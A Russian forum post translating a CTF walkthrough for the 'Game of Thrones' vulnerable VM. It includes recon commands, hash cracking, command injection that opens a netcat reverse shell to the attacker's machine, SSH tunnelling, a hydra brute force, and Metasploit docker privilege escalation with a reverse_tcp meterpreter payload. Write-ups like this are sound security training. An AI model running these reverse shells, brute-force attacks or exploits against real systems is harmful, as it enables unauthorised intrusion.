Статья CTF “Game of Thrones” [Перевод]

  • Автор темы mrOkey
  • Дата начала
mrOkey

mrOkey

Red Team
14.11.2017
721
743
Доброго времени суток, codeby.
Первоисточник:
Перевод: Перевод выполнен от команды Codeby
Примечание от команды форума:
  • Статья является переводом.
Приветствую друзья: сегодня мы поиграем в CTF “Game of Thrones”
Образ VM и подробное описание можно найти
Автор VM: OscarAkaElvis

Приступим.
Для начала, узнаем IP виртуальной машины (В статье она находится по адресу 192.168.1.133)
Код:
netdiscover
1.png


Далее используем nmap чтобы найти открытые порты и сервисы расположенные на них
Код:
nmap -p- -sV 192.168.1.133
2.png


Мы видим, что на 80-ом порту находится веб-сервер, поэтому мы открываем ip в нашем браузере.

3.png


Посмотрев на исходный код страницы, мы увидим синтаксис флага.

4.1.png


Далее, найдём директории и другие web-объекты используем dirb
Код:
dirb http://192.168.1.133
4.png


Dirb нашёл файл robots.txt, открыв его, мы увидим несколько директорий

5.png


Откроем директорию /secret-island/ используя user-agent: Three-eyed-raven
прим. переводчика: автор оригинала использует Burp для изменения http-запроса.

6.png


По данному url мы найдем ссылку на карту

7.png


Открыв карту, мы узнаем местоположение всех флагов

8.png


Аналогичным способом обратимся к директории
Код:
/direct-access-to-kings-landing/
9.png


Посмотрев исходный код, мы увидим что-то похожее на набор портов для port knocking и имя пользователя - oberynmartell.
прим. переводчика: на самом деле там 3 порта (один обрезан на исходном скрине) 3487 64535 12345

10.png



Далее мы находим /h/i/d/d/e/n/ директорию (с помощью dirb), открыв её видим следующее.

11.png


Взглянув на исходный код страницы найдём пароль для пользователя oberynmartell.

12.png


Испытаем найденные креды на ftp сервере. И мы видим первый флаг в шапке ftp-сервера.

13.png


С ftp-сервера мы скачали два файла. Один из них содержит хеш и тип хеша. Сохраним хеш в отдельный файл.

14.png


Воспользуемся john the ripper для расшифровки хеша.
Код:
john --format=dynamic_2008 hash.txt
15.png


Теперь используем mcrypt для расшифровки второго файла.
Код:
mcrypt -d the_wall.txt.nc
16.png


Добавим домен
Код:
winterfell.7kingdoms.ctf
в /etc/hosts и откроем ссылку, найденную в файле.

17.png


Введем найденные креды, и увидим страницу с двумя изображениями.

18.png


Посмотрев исходный код, найдём второй флаг.

19.png


Вместе с флагом, мы нашли намек на то что файл
Код:
stark_shield.jpg
что то содержит. Так что мы скачиваем файл и прогоняем его через
Код:
strings
Таким образом мы находим ещё одну подсказку.
Код:
strings stark_shield.jpg
20 (1).png


Подсказка даёт нам намёк на то что запись TXT будет содержать что-то полезное, поэтому мы видоизменяем домен и проверяем его с помощью nslookup (для проверки записей TXT)
Код:
nslookup -q=txt Timef0rconqu3rs.7Kingdoms.ctf 192.168.1.133
21.png


Вот мы и нашли третий флаг, а вместе с ним нашли еще один домен. Добавим его в /etc/hosts и откроем в браузере.

22.png


Воспользуемся кредами из TXT записи.

23.png


Проверим форму поиска на уязвимости

24.jpg


Далее воспользуемся модулем файлового менеджера, он предоставит нам доступ к некоторым файлам

25.png


В директории /home/aryastark мы находим файл под названием ‘flag.txt’

26.1.jpg


Скачав его, мы получим 4ый флаг.

26.2.png


Теперь у нас есть подсказка для доступа к базе данных, мы уже знаем что это postgresql. Поэтому подключимся, используя креды из файла.
Код:
 psql –h 192.168.1.133 –u robinarryn –d mountainandthevale
26.png


Мы видим view, которая называется flag, посмотрев её содержимое мы видим строку в base64

27.png


Расшифровав строку, мы получаем 5ый флаг.

28.png


Далее проверим остальные таблицы, что бы убедиться, что мы ничего не упустили. В одной из таблиц мы находим список имен.
Код:
select * from arya_kill_list
56.png


Выглядит полезным. При дальнейшем поиске по базе данных мы находим строку в rot16.

57.png


Преобразовав её мы узнаем имя базы данных и пароль. Так же текст, намекает нам, что логин должен быть в “нашем” списке для убийства (aria_kill_list).

58.png


Испытав список целей Арии в качестве логина, мы находим нужный - TheRedWomanMelisandre.

59.png


Проверив единственную таблицу - найдём секретный флаг.

60.png


Мы уже знаем, что флаг “The Reach” находится на imap (см.карту). Используем номера портов, что мы нашли ранее для port knocking.
прим. переводчика: про порт кнокинг можно почитать
Код:
knock 192.168.1.133 3487 64535 12345
29.png


Проверим не появились ли новые сервисы и открытые порты. Воспользуемся nmap.
Код:
nmap -p- 192.168.1.133
30.png


Теперь нам доступен порт 143, на котором запущен imap. Воспользуемся nc и кредами, найденными в подсказке ранее.
Код:
nc 192.168.1.133 143
31.1.png


Мы находим 6ой флаг в папке “Входящие”. Также мы получаем следующую подсказку в виде порта 1337 и кредов.

31.2.png


Открываем 192.168.1.133:1337 в браузере и понимаем, что мы на git-сайте.

31.png


Просмотрев файлы, мы понимаем что сайт уязвим к инъекции команд, так же мы находим намёк на mysql.

32.png


Мы инжектим reverse shell в параметр code.
Код:
nc 192.168.1.116 1234
33.png


Запустив неткат в режиме прослушки (на основной машине) мы сразу же получим шелл.
Код:
nc -lvp 1234
34.png


Ранее на веб-страницы мы нашли строку закодированную в hex. Раскодировав её мы получим путь к файлу
Код:
file:/home/tyrionlannister/checkpoint.txt
Открыв данный файл - мы получим креды и имя базы данных, которую мы должны искать.

35.png
 
Последнее редактирование:
mrOkey

mrOkey

Red Team
14.11.2017
721
743
Воспользуемся информацией и взглянем на доступные таблицы.

36.png


Заглянем внутрь таблицы

37.png


Мы видим строку закодированную азбукой Морзе. Расшифруем её: /etc/mysql/flag. Попытка получить доступ к файлу укажет нам на его отсутствие. Вспомнив подсказку выше, мы поймём что у нас недостаточно прав. Давайте взглянем на наши права

38.png


Таким образом мы узнаём, что можем импортировать файлы в базу данных. Создаём таблицу Flag

39.png


Импортируем наш файл в созданную таблицу

40.png


Теперь, взглянув на содержимое таблицы, мы увидим 7ой флаг. А также креды для ssh доступа.

41.png


Воспользуемся ими
Код:
ssh daenerystargaryen@192.168.1.133
42.png


Покопавшись в системе мы найдём два файла
Код:
digger.txt, checkpoint.txt
Последний содержит подсказку: мы должны подключится по ssh к ip:172.25.0.2 и использовать файл digger.txt для брутфорса пароля.

43.1.png


Скачаем digger.txt на свою систему
Код:
scp digger.txt root@192.168.1.116
43.png


Создадим тунель, назначим ему порт 2222
Код:
ssh daenerystargaryen@192.168.1.133 –L 2222:172.25.0.2:22 –N
44.png


Теперь воспользуемся hydra для перебора пароля к 172.25.0.2. В качестве username мы укажем root, и используем digger.txt в качестве словаря:

45.png


Так мы узнаем пароль:
Код:
Dr4g0nGl4ss
Воспользуемся нашим тунелем для подключения:

46.png


Просмотрев файлы мы найдём наш секретный флаг, а так же креды для ssh доступа.

47.png


Воспользуемся metasploit для подключения через ssh, используя найденные креды.
Код:
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.133
msf auxiliary(scanner/ssh/ssh_login) > set username branstark
msf auxiliary(scanner/ssh/ssh_login) > set  password Th3_Thr33_Ey3d_Raven
msf auxiliary(scanner/ssh/ssh_login) > run
48.png


После поиска очевидных возможностей для повышение привилегий, таких как исполняемых файлов с установленным битом setuid и эксплойтов для ядра, мы заметили, что сервер лежит в докер контейнере. Поэтому мы воспользуемся эксплойтом повышения привилегий из metasploit.
Код:
msf > use exploit/linux/local/docker_daemon_privilege_escalation
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set lhost 192.168.1.116
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set payload linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set session 1
msf exploit(linux/local/docker_daemon_privilege_escalation) >  run
49.png


Прообгредив нашу сессию, убедимся что мы root.

50.png


Покопавшись, мы найдем запароленный zip архив: final_battle и checkpoint.txt, в котором находится псевдокод. Псевдокод расскажет нам как получить пароль используя секретные флаги что мы нашли.

51.png


На данный момент у нас есть 2 секретных флага. Вновь пройдясь по файловой системе, мы найдем два mp3 файла. Воспользовавшись exiftool мы найдём ещё один флаг в одном из них.
Код:
exiftool  game_of_thrones.mp3
61.png


Теперь перепишим псевдокод на python

52.png


Запустим созданный скрипт и найдём пароль

53.png


Теперь распакуем архив
Код:
7z e final_battle
54.png


Мы видим файл flag.txt, просмотрев его мы найдем наш последний флаг.

55.png


Автор оригинала: Sayantan Bera - технический писатель хакерских статьей и энтузиаст кибербезопасности.
 
Последнее редактирование:
Мы в соцсетях: